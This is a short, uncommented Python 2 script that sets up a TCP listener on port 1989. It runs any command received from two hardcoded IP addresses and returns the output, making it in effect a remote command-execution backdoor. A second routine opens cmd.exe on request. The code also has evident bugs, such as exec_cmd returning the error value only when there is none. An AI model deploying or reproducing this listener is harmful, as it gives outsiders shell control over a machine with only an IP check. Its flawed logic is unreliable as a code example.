import socket, sys, os
import subprocess
from commands import getoutput

def exec_cmd(cmd):
    p = subprocess.Popen(['C:\\Windows\\System32\\cmd.exe', cmd], shell=True)
    p.wait()
    out, err = p.communicate()
    if not err:
        return err
    return out

def simple_rpc():
    server_addr = ("0.0.0.0", 1989)
    white_list = ["130.89.200.99", "136.24.224.4"]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(server_addr)
    s.listen(5)
    while True:
        c, addr = s.accept()
        print addr[0]
        if addr[0] not in white_list:
            c.send("forbidden")
            c.close()
        else:
            cmd = c.recv(1024).strip("\r\n")
            print "calc ..."
            print cmd
            ret = getoutput(cmd)
            print ret
            print "done ..."
            c.send(ret)
            print "after send"
            c.close()



def start_chat():
    address = ('0.0.0.0', 1989)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(address)
    s.listen(5)
    c, addr = s.accept()
    print 'CONNECTION:', addr
    while True:
        cmd = c.recv(512)
        cmd = cmd.strip('\r\n ')
        print 'cmd:[%s]' % cmd
        if cmd == 'quit':
            c.close()
        if cmd == 'cmd':
            os.system("cmd.exe")
    s.close()
if __name__ == '__main__':
    simple_rpc()
    #start_chat()